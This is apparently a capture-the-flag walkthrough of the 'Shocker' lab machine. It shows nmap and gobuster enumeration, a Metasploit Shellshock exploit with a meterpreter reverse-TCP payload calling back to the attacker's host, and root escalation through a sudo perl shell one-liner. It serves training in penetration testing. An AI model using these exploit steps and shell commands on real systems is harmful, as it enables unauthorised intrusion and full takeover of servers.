Shocker

Let's start with enumerating services with simple nmap command.

```
└─$ nmap -sV 10.129.167.75
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 15:48 CST
Nmap scan report for 10.129.167.75
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Visiting that address in browser we are just displayed with a title and image.

Running gobuster at first sight we didn't find anything interesting.

```
└─$ gobuster dir -u http://10.129.60.12/ -w /usr/share/dirb/wordlists/big.txt
```

```
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/cgi-bin/             (Status: 403) [Size: 295]
/server-status        (Status: 403) [Size: 300]
```

According to box name - Shocker - and /cgi-bin directory we found and Apache http server that is running, this target is probably vulnerable to shellshock. Let's further see what's inside that directory. We are particularly looking for sh, cgi file extensions.

```
└─$ gobuster dir -u http://10.129.60.12/cgi-bin/ -w /usr/share/dirb/wordlists/big.txt -x sh,cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.60.12/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              sh,cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 304]
/.htaccess.sh         (Status: 403) [Size: 307]
/.htaccess.cgi        (Status: 403) [Size: 308]
/.htpasswd            (Status: 403) [Size: 304]
/.htpasswd.cgi        (Status: 403) [Size: 308]
/.htpasswd.sh         (Status: 403) [Size: 307]
/user.sh              (Status: 200) [Size: 119]
```

Let's exploit that vulnerability in Metasploit.

```
└─$ msfconsole
```

```
msf6 > search shellshock

Matching Modules
================

   #   Name                                                  Disclosure Date  Rank       Check  Description
   -   ----                                                  ---------------  ----       -----  -----------
   0   exploit/linux/http/advantech_switch_bash_env_exec     2015-12-01       excellent  Yes    Advantech Switch Bash
Environment Variable Code Injection (Shellshock)
   1   exploit/multi/http/apache_mod_cgi_bash_env_exec       2014-09-24       excellent  Yes    Apache mod_cgi Bash En
vironment Variable Code Injection (Shellshock)
   2   auxiliary/scanner/http/apache_mod_cgi_bash_env        2014-09-24       normal     Yes    Apache mod_cgi Bash En
vironment Variable Injection (Shellshock) Scanner
   3   exploit/multi/http/cups_bash_env_exec                 2014-09-24       excellent  Yes    CUPS Filter Bash Envir
onment Variable Code Injection (Shellshock)
   4   auxiliary/server/dhclient_bash_env                    2014-09-24       normal     No     DHCP Client Bash Envir
onment Variable Code Injection (Shellshock)
   5   exploit/unix/dhcp/bash_environment                    2014-09-24       excellent  No     Dhclient Bash Environm
ent Variable Injection (Shellshock)
   6   exploit/linux/http/ipfire_bashbug_exec                2014-09-29       excellent  Yes    IPFire Bash Environmen
t Variable Injection (Shellshock)
   7   exploit/multi/misc/legend_bot_exec                    2015-04-27       excellent  Yes    Legend Perl IRC Bot Re
mote Code Execution
   8   exploit/osx/local/vmware_bash_function_root           2014-09-24       normal     Yes    OS X VMWare Fusion Pri
vilege Escalation via Bash Environment Code Injection (Shellshock)
   9   exploit/multi/ftp/pureftpd_bash_env_exec              2014-09-24       excellent  Yes    Pure-FTPd External Aut
hentication Bash Environment Variable Code Injection (Shellshock)
   10  exploit/unix/smtp/qmail_bash_env_exec                 2014-09-24       normal     No     Qmail SMTP Bash Enviro
nment Variable Injection (Shellshock)
   11  exploit/multi/misc/xdh_x_exec                         2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot
/ fBot IRC Bot Remote Code Execution
```

We will use #1 option, adjust options and run exploit.

```
msf6 > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   CMD_MAX_LENGTH   2048             yes       CMD max line length
   CVE              CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER           User-Agent       yes       HTTP header to use
   METHOD           GET              yes       HTTP method to use
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                            yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                               sploit/basics/using-metasploit.html
   RPATH            /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT            80               yes       The target port (TCP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                         yes       Path to CGI script
   TIMEOUT          5                yes       HTTP read response timeout (seconds)
   URIPATH                           no        The URI to use for this exploit (default is random)
   VHOST                             no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address
                                       on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 10.10.14.170
LHOST => 10.10.14.170
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LPORT 1234
LPORT => 1234
```

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 10.129.60.12
RHOSTS => 10.129.60.12
```

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/user.sh
TARGETURI => /cgi-bin/user.sh
```

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit
```

Success ! Metasploit exploited this vulnerability and got shell. We are now having shelly user permissions. User flag can be found at /home/shelly.

```
meterpreter > shell
Process 11661 created.
Channel 3 created.
whoami
shelly
```

```
ls /home/shelly
user.txt
```

Let's list commands we can run here and find possible way to escalate privileges.

```
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/b
in

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```

We can see we can run /usr/bin/perl with root permissions with no password authentication. On GTFObins we can find a way to get root access with following command:

```
sudo perl -e 'exec "/bin/sh";'
whoami
root
ls /root
root.txt
```

We've successfully gained root access, root flag can be found at /root.